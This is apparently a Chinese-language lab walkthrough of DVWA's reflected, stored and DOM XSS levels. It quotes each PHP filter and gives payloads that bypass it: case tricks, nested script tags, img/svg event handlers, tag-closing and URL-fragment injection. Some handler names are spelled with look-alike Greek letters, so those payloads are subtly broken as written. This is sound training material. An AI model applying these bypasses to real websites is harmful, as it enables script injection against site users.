Dvwa xss部分
xss (Reflected)
low
没有过滤,直接<script>alert('xss')</script>即可。
Medium
查看源码可知,
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
对<script>进行了过滤,转化为空。因此可以大小写绕过,或者重写。
可构造:
<SCRipt>alert('xss')</SCRipt>
<scr<script>ipt>alert('xss')</script>
High
查看源码可知,
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name'] );
对script有正则匹配,替换。script行不通,那就可以用img事件,svg事件。
构造:
<img src="#" οnerrοr=alert('xss')>
<svg οnlοad=alert('xss')>
xss (Stored)
low medium high 同reflected。不过前端对输入长度进行了限制,F12更改maxlength即可。
xss (DOM)
low
没有任何保护,所以在url栏里English直接构造<script>alert('xss')</script>即可
medium
查看源码可知,对<script进行了限制。
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
查看源码可知,把前面输入闭合掉即可 ,再写入img事件代码即可。
构造:
</option></select><img src="#" οnerrοr=alert('xss')>
</option></select><svg οnlοad=alert('xss')>
High
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
发现是黑名单 注释掉就可以
构造:?default=English 空格 #<script>alert(/xss/)</script>